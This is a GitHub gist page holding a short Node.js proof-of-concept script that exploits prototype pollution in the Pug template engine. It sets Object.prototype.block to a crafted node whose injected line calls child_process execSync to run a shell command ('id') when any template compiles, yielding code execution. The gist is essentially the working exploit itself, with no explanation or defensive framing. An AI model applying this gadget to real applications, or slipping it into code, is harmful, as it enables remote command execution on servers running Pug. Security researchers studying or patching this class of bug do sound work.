Skip to content

Instantly share code, notes, and snippets.

@rayepeng
Created June 8, 2023 06:56
Show Gist options
  • Save rayepeng/b10ea2bb738c9b5358333acccfc3e80f to your computer and use it in GitHub Desktop.
Save rayepeng/b10ea2bb738c9b5358333acccfc3e80f to your computer and use it in GitHub Desktop.
const pug = require('pug');
Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment